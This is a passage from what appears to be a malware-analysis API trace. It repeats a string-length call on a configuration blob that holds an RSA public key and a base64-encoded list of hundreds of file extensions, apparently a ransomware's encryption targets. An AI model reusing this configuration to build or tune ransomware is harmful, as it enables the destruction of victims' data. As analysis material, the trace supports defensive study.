udmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCA